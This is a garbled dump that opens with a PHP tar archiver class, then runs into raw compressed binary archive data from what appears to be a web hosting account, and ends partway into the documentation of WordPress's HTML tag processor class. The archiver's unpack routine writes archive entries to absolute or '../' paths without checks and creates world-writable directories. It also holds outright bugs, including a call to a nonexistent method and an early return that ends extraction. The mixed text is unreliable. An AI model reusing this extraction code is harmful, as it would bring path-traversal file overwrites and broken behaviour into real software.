		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\�KW�ggerror_log.tar.gznu�[������o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
